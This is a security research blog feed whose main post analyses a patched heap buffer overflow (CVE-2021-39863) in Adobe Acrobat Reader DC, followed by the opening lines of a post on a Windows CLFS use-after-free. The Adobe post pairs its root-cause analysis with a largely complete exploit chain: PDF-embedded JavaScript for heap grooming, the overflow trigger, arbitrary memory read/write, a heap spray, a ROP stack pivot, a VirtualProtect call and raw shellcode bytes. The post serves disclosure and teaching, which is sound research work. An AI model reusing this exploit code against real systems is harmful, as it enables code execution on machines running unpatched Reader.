Normal view

There are new articles available, click to refresh the page.
Before yesterdayExodus Intelligence

Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC

4 October 2021 at 13:52

By Sergi Martinez

In late June, we published a blog post containing analysis of exploitation of a heap-buffer overflow vulnerability in Adobe Reader, a vulnerability that we thought corresponded to CVE-2021-21017. The starting point for the research was a publicly posted proof-of-concept containing root-cause analysis. Soon after publishing the blog post, we learnt that the CVE was not authoritative and that the publicly posted proof-of-concept was an 0day, even if the 0day could not be reproduced in the patched version. We promptly pulled the blog post and began investigating.

Further research showed that the vulnerability continued to exist in the latest version and was exploitable with only a few changes to our exploit. We reported our findings to Adobe. Adobe assigned CVE-2021-39863 to this vulnerability and released an advisory and patched versions of their products on September 14th, 2021.

Since the exploits were very similar, this post largely overlaps with the blog post previously removed. It analyzes and exploits CVE-2021-39863, a heap buffer overflow in Adobe Acrobat Reader DC up to and including version 2021.005.20060.

This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.

Overview

A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.

CVE-2021-39863

Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.

Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.

The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.

__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
  __int16 v5; // di
  wchar_t *v6; // ebx
  CHAR *v7; // eax
  CHAR v8; // dl
  __int64 v9; // rax
  wchar_t *v10; // ecx
  __int64 v11; // rax
  int v12; // eax
  int v13; // eax
  int v14; // eax

[Truncated]

  v77 = 0;
  v76 = 0;
  v5 = 1;
  *(_QWORD *)v78 = 0i64;
  *(_QWORD *)iMaxLength = 0i64;
  v6 = 0;
  v49 = 0;
  v62 = 0;
  v74 = 0;
  if ( !a5 )
    return 0;
  *a5 = 0;
  v7 = lpString;

[1]

  if ( lpString && *lpString && (v8 = lpString[1]) != 0 && *lpString == (CHAR)0xFE && v8 == (CHAR)0xFF )
  {

[2]

    v9 = sub_2581890C(lpString);
    v78[1] = v9;
    if ( (HIDWORD(v9) & (unsigned int)v9) == -1 )
    {
LABEL_9:
      *a5 = -2;
      return 0;
    }
    v7 = lpString;
  }
  else
  {

[3]

    v78[1] = v78[0];
  }
  v10 = Source;
  if ( !Source || !v7 || !String || !a4 )
  {
    *a5 = -2;
    goto LABEL_86;
  }

[4]

  if ( *(_BYTE *)Source != 0xFE )
    goto LABEL_25;
  if ( *((_BYTE *)Source + 1) == 0xFF )
  {
    v11 = sub_2581890C(Source);
    iMaxLength[1] = v11;
    if ( (HIDWORD(v11) & (unsigned int)v11) == -1 )
      goto LABEL_9;
    v10 = Source;
    v12 = iMaxLength[1];
  }
  else
  {
    v12 = iMaxLength[0];
  }

[5]

  if ( *(_BYTE *)v10 == 0xFE && *((_BYTE *)v10 + 1) == 0xFF )
  {
    v13 = v12 + 2;
  }
  else
  {
LABEL_25:
    v14 = sub_25802A44((LPCSTR)v10);
    v10 = v37;
    v13 = v14 + 1;
  }
  iMaxLength[1] = v13;

[6]

  v15 = (CHAR *)sub_25802CD5(v10, 1, v13);
  v77 = v15;
  if ( !v15 )
  {
    *a5 = -7;
    return 0;
  }

[7]

  sub_25802D98(v38, (wchar_t *)v15, Source, iMaxLength[1]);

[8]

  if ( *lpString == (CHAR)0xFE && lpString[1] == (CHAR)0xFF )
  {
    v17 = v78[1] + 2;
  }
  else
  {
    v18 = sub_25802A44(lpString);
    v16 = v39;
    v17 = v18 + 1;
  }
  v78[1] = v17;

[9]

  v19 = (CHAR *)sub_25802CD5(v16, 1, v17);
  v76 = v19;
  if ( !v19 )
  {
    *a5 = -7;
LABEL_86:
    v5 = 0;
    goto LABEL_87;
  }

[10]

  sub_25802D98(v40, (wchar_t *)v19, (wchar_t *)lpString, v78[1]);
  if ( !(unsigned __int16)sub_258033CD(v77, iMaxLength[1], a5) || !(unsigned __int16)sub_258033CD(v76, v78[1], a5) )
    goto LABEL_86;

[11]

  v20 = sub_25802400(v77, v42);
  if ( v20 || (v20 = sub_25802400(v76, v50)) != 0 )
  {
    *a5 = v20;
    goto LABEL_86;
  }
  if ( !*(_BYTE *)Source || (v21 = v42[0], v50[0] != 5) && v50[0] != v42[0] )
  {
    v35 = sub_25802FAC(v50);
    v23 = a4;
    v24 = v35 + 1;
    if ( v35 + 1 > *a4 )
      goto LABEL_44;
    *a4 = v35;
    v25 = v50;
    goto LABEL_82;
  }
  if ( *lpString )
  {
    v26 = v55;
    v63[1] = v42[1];
    v63[2] = v42[2];
    v27 = v51;
    v63[0] = v42[0];
    v73 = 0i64;
    if ( !v51 && !v53 && !v55 )
    {
      if ( (unsigned __int16)sub_25803155(v50) )
      {
        v28 = v44;
        v64 = v42[3];
        v65 = v42[4];
        v66 = v42[5];
        v67 = v42[6];
        v29 = v43;
        if ( v49 == 1 )
        {
          v29 = v43 + 2;
          v28 = v44 - 1;
          v43 += 2;
          --v44;
        }
        v69 = v28;
        v68 = v29;
        v70 = v45;
        if ( v58 )
        {
          if ( *v59 != 47 )
          {

[12]

            v6 = (wchar_t *)sub_25802CD5((wchar_t *)(v58 + 1), 1, v58 + 1 + v46);
            if ( !v6 )
            {
              v23 = a4;
              v24 = v58 + v46 + 1;
              goto LABEL_44;
            }
            if ( v46 )
            {

[13]

              sub_25802D98(v41, v6, v47, v46 + 1);
              if ( *((_BYTE *)v6 + v46 - 1) != 47 )
              {
                v31 = sub_25818D6E(v30, (char *)v6, 47);
                if ( v31 )
                  *(_BYTE *)(v31 + 1) = 0;
                else
                  *(_BYTE *)v6 = 0;
              }
            }
            if ( v58 )
            {

[14]

              v32 = sub_25802A44((LPCSTR)v6);
              sub_25818C6A((char *)v6, v59, v58 + 1 + v32);
            }
            sub_25802E0C(v6, 0);
            v71 = sub_25802A44((LPCSTR)v6);
            v72 = v6;
            goto LABEL_75;
          }
          v71 = v58;
          v72 = v59;
        }

[Truncated]

LABEL_87:
  if ( v77 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v77);
  if ( v76 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v76);
  if ( v6 )
    (*(void (__cdecl **)(wchar_t *))(dword_25824098 + 12))(v6);
  return v5;
}

The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.

IA32!PlugInMain+0x168b0:
63ee7d70 55              push    ebp
0:000> dd poi(esp+4) L84
093499c8  7468fffe 3a737074 6f672f2f 656c676f
093499d8  6d6f632e 4141412f 41414141 41414141
093499e8  41414141 41414141 41414141 41414141
093499f8  41414141 41414141 41414141 41414141

[Truncated]

09349b98  41414141 41414141 41414141 41414141
09349ba8  41414141 41414141 41414141 41414141
09349bb8  41414141 41414141 41414141 2f2f3a41
09349bc8  00000000 0009000a 00090009 00090009
0:000> da poi(esp+4) L84
093499c8  "..https://google.com/AAAAAAAAAAA"
093499e8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a08  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a28  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a48  "AAAA"
0:000> dd poi(esp+8)
0b943ca8  61616262 61616161 61616161 61616161
0b943cb8  61616161 61616161 61616161 61616161
0b943cc8  61616161 61616161 61616161 61616161
0b943cd8  61616161 61616161 61616161 61616161
0b943ce8  61616161 61616161 61616161 61616161
0b943cf8  61616161 61616161 61616161 61616161
0b943d08  61616161 61616161 61616161 61616161
0b943d18  61616161 61616161 61616161 61616161
0:000> da poi(esp+8)
0b943ca8  "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943cc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943ce8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943d08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

[Truncated]

0b943da8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943dc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943de8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943e08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.

At [1] a check is made to ascertain whether the second parameter (i.e. the base URL) is a valid Unicode UTF-16BE encoded string. If it is valid, the length of that string is calculated at [2] and stored in v78[1]. If it is not a valid UTF-16BE encoded string, v78[1] is set to 0 at [3]. The function that calculates the Unicode string length, sub_2581890C(), performs additional checks to ensure that the string passed as a parameter is a valid UTF-16BE encoded string. The following listing shows the decompiled code of this function.

int __cdecl sub_2581890C(char *a1)
{
  char *v1; // eax
  char v2; // cl
  int v3; // esi
  char v4; // bl
  char *v5; // eax
  int result; // eax

  v1 = a1;
  if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
    goto LABEL_12;
  v2 = 0;
  v3 = 0;
  do
  {
    v4 = *v1;
    v5 = v1 + 1;
    if ( !v5 )
      break;
    v2 = *v5;
    v1 = v5 + 1;
    if ( !v4 )
      goto LABEL_10;
    if ( !v2 )
      break;
    v3 += 2;
  }
  while ( v1 );
  if ( v4 )
    goto LABEL_12;
LABEL_10:
  if ( !v2 )
    result = v3;
  else
LABEL_12:
    result = -1;
  return result;
}

The code listed above returns the length of the UTF-16BE encoded string passed as a parameter. Additionally, it implicitly performs the following checks to ensure the string has a valid UTF-16BE encoding:

  • The string must terminate with a double null byte.
  • The words composing the string that are not the terminator must not contain a null byte.

If any of the checks above fail, the function returns -1.

Continuing with the first function mentioned in this section, at [4] the same checks already described are applied to the first parameter (i.e. the relative URL). At [5] the length of the Source variable (i.e. the base URL) is calculated taking into account its encoding. The function sub_25802A44() is an implementation of the strlen() function that works for both Unicode and ANSI encoded strings. At [6] an allocation of the size of the Source variable is performed by calling the function sub_25802CD5(), which is an implementation of the known calloc() function. Then, at [7], the contents of the Source variable are copied into this new allocation using the function sub_25802D98(), which is an implementation of the strncpy function that works for both Unicode and ANSI encoded strings. These operations performed on the Source variable are equally performed on the lpString variable (i.e. the relative URL) at [8], [9], and [10].

The function at [11], sub_25802400(), receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.

At [12] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [11]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.

eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55              push    ebp
0:000> dd esp+4 L1
010fd0e8  00000001
0:000> dd esp+8 L1
010fd0ec  00002600

Afterwards, at [13] the base URL is copied into the memory allocated to host the concatenation and at [14] its length is calculated and provided as a parameter to the call to sub_25818C6A. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [14] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.

int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
  int result; // eax
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !Destination || !Source || !a3 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[15]

  pExceptionObject = sub_25802A44(Destination);
  if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) )
  {

[16]

    sub_258189D6(Destination, Source);
    result = 1;
  }
  else
  {

[17]

    strncat(Destination, Source, a3 - pExceptionObject - 1);
    result = 0;
    Destination[a3 - 1] = 0;
  }
  return result;
}

In the above listing, at [15] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_258189D6 is called at [16]. Otherwise the strncat function at [17] is called.

The function sub_258189D6 called at [16] implements the actual string concatenation that works for both Unicode and ANSI strings.

LPSTR __cdecl sub_258189D6(LPSTR lpString1, LPCSTR lpString2)
{
  int v3; // eax
  LPCSTR v4; // edx
  CHAR *v5; // ecx
  CHAR v6; // al
  CHAR v7; // bl
  int pExceptionObject; // [esp+10h] [ebp-4h] BYREF

  if ( !lpString1 || !lpString2 )
  {
    (*(void (__thiscall **)(_DWORD, int))(dword_258240A4 + 4))(*(_DWORD *)(dword_258240A4 + 4), 1073741827);
    pExceptionObject = 0;
    CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
  }

[18]

  if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF )
  {

[19]

    v3 = sub_25802A44(lpString1);
    v4 = lpString2 + 2;
    v5 = &lpString1[v3];
    do
    {
      do
      {
        v6 = *v4;
        v4 += 2;
        *v5 = v6;
        v5 += 2;
        v7 = *(v4 - 1);
        *(v5 - 1) = v7;
      }
      while ( v6 );
    }
    while ( v7 );
  }
  else
  {

[20]

    lstrcatA(lpString1, lpString2);
  }
  return lpString1;
}

In the function listed above, at [18] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [19]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called at [20].

It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.

Exploitation

We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. 

Adobe Acrobat Reader DC version 2021.005.20048 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:

  • Address Space Layout Randomization (ASLR)
  • Data Execution Prevention (DEP)
  • Control Flow Guard (CFG)

The exploit does not bypass the following protection mechanisms:

  • Control Flow Guard (CFG): CFG must be disabled in the Windows machine for this exploit to work. This may be done from the Exploit Protection settings of Windows 10, setting the Control Flow Guard (CFG) option to Off by default.

In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:

  1. Prepare the heap layout to allow controlling the memory areas adjacent to the allocations made for the base URL and the relative URL. This involves performing enough allocations to activate the Low Fragmentation Heap bucket for the two sizes, and enough allocations to entirely fit a UserBlock. The allocations with the same size as the base URL allocation must contain an ArrayBuffer object, while the allocations with the same size as the relative URL must have the data required to overwrite the byteLength field of one of those ArrayBuffer objects with the value 0xffff.
  2. Poke some holes on the UserBlock by nullifying the reference to some of the recently allocated memory chunks.
  3. Trigger the garbage collector to free the memory chunks referenced by the nullified objects. This provides room for the base URL and relative URL allocations.
  4. Trigger the heap buffer overflow vulnerability, so the data in the memory chunk adjacent to the relative URL will be copied to the memory chunk adjacent to the base URL.
  5. If everything worked, step 4 should have overwritten the byteLength of one of the controlled ArrayBuffer objects. When a DataView object is created on the corrupted ArrayBuffer it is possible to read and write memory beyond the underlying allocation. This provides a precise way of overwriting the byteLength of the next ArrayBuffer with the value 0xffffffff. Creating a DataView object on this last ArrayBuffer allows reading and writing memory arbitrarily, but relative to where the ArrayBuffer is.
  6. Using the R/W primitive built, walk the NT Heap structure to identify the BusyBitmap.Buffer pointer. This allows knowing the absolute address of the corrupted ArrayBuffer and build an arbitrary read and write primitive that allows reading from and writing to absolute addresses.
  7. To bypass DEP it is required to pivot the stack to a controlled memory area. This is done by using a ROP gadget that writes a fixed value to the ESP register.
  8. Spray the heap with ArrayBuffer objects with the correct size so they are adjacent to each other. This should place a controlled allocation at the address pointed by the stack-pivoting ROP gadget.
  9. Use the arbitrary read and write to write shellcode in a controlled memory area, and to write the ROP chain to execute VirtualProtect to enable execution permissions on the memory area where the shellcode was written.
  10. Overwrite a function pointer of the DataView object used in the read and write primitive and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

Preparing the Heap Layout

The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.

The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.

In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.

Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.

The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.

function massageHeap() {

[1]

    var arrayBuffers = new Array(0xd+0x11);
    for (var i = 0; i < arrayBuffers.length; i++) {
        arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8);
        var dv = new DataView(arrayBuffers[i]);
    }

[2]

    var holeDistance = (arrayBuffers.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) {
        arrayBuffers[i] = null;
    }


[3]

    var strings = new Array(0xe+0x11);
    var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408);
    for (var i = 0; i < strings.length; i++) {
        strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase();
    }


[4]

    var holeDistance = (strings.length-0x11) / 2 - 1;
    for (var i = 0x11; i <= strings.length; i += holeDistance) {
        strings[i] = null;
    }

    return arrayBuffers;
}

In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.

At [3] and [4] the same steps are done with the allocated strings.

Triggering the Vulnerability

Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the Code Analysis section of this post.

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}

The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.

Obtaining an Arbitrary Read / Write Primitive

When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.

In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.

The following function implements the process described in this subsection.

function getArbitraryRW(arrayBuffers) {

[1]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) {
            var dv = new DataView(arrayBuffers[i]);
            dv.setUint32(0x25f0+0xc, 0xffffffff, true);
        }
    }

[2]

    for (var i = 0; i < arrayBuffers.length; i++) {
        if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) {
            var rw = new DataView(arrayBuffers[i]);
            corruptedBuffer = arrayBuffers[i];
        }
    }

[3]

    if (rw) {
        var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true);
        var chunkSize = 0x25f0+0x10+8;

        var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8;
        var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true);

        startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4;
        return rw;
    }
    return rw;
}

The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.

Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.

function readUint32(dataView, absoluteAddress) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    return dataView.getUint32(addrOffset, true);
}

function writeUint32(dataView, absoluteAddress, data) {
    var addrOffset = absoluteAddress - startAddr;
    if (addrOffset < 0) {
        addrOffset = addrOffset + 0xffffffff + 1;
    }
    dataView.setUint32(addrOffset, data, true);
}

Spraying ArrayBuffer Objects

The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.

In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.

function sprayHeap() {
    var heapSegmentSize = 0x10000;

[1]

    heapSpray = new Array(0x8000);
    for (var i = 0; i < 0x8000; i++) {
        heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8);
        var tmpDv = new DataView(heapSpray[i]);
        tmpDv.setUint32(0, 0xdeadbabe, true);
    }
}

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.

These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.

Hijacking the Execution Flow and Executing Arbitrary Code

With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.

Taking this into account, the strategy can be the following:

  1. Obtain pointers to the relevant modules to calculate their base addresses.
  2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
  3. Write the shellcode.
  4. Call VirtualProtect to change the shellcode memory region permissions to allow  execution.
  5. Overwrite a function pointer that can be called later from JavaScript.

The following functions are used in the implementation of the mentioned strategy.

[1]

function getAddressLeaks(rw) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var escriptAddrDelta = 0x275518;
    var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta;

    var kernel32BaseDelta = 0x273eb8;
    var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta);

    return [escriptAddr, kernel32Addr];
}
 
[2]

function prepareNewStack(kernel32Addr) {

    var virtualProtectStubDelta = 0x20420;
    writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta);

    var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
        0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
        0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
        0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
        0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
        0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e,
        0x00000000]


[3]

    var shellcode_size = shellcode.length * 4;
    writeUint32(rw, newStackAddr + 4 , startAddr);
    writeUint32(rw, newStackAddr + 8, startAddr);
    writeUint32(rw, newStackAddr + 0xc, shellcode_size);
    writeUint32(rw, newStackAddr + 0x10, 0x40);
    writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size);

[4]

    for (var i = 0; i < shellcode.length; i++) {
        writeUint32(rw, startAddr+i*4, shellcode[i]);
    }

}

function hijackEIP(rw, escriptAddr) {
    var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true);

    var dvShape = readUint32(rw, dataViewObjPtr);
    var dvShapeBase = readUint32(rw, dvShape);
    var dvShapeBaseClasp = readUint32(rw, dvShapeBase);

    var stackPivotGadgetAddr = 0x2de29 + escriptAddr;

    writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr);

    var foo = rw.execFlowHijack;
}

In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].

Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.

The stack pivot gadget used is from the EScript.api module, and is listed below:

0x2382de29: mov esp, 0x5d0013c2; ret;

When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.

Conclusion

We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!

The post Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC appeared first on Exodus Intelligence.

Exploiting a use-after-free in Windows Common Logging File System (CLFS)

10 March 2022 at 17:47

By Arav Garg

Overview

This post analyzes a use-after-free vulnerability in clfs.sys, the kernel driver that implements the Common Logging File System, a general-purpose logging service that can be used by user-space and kernel-space processes in Windows. A method to exploit this vulnerability to achieve privilege escalation in Windows is also outlined.

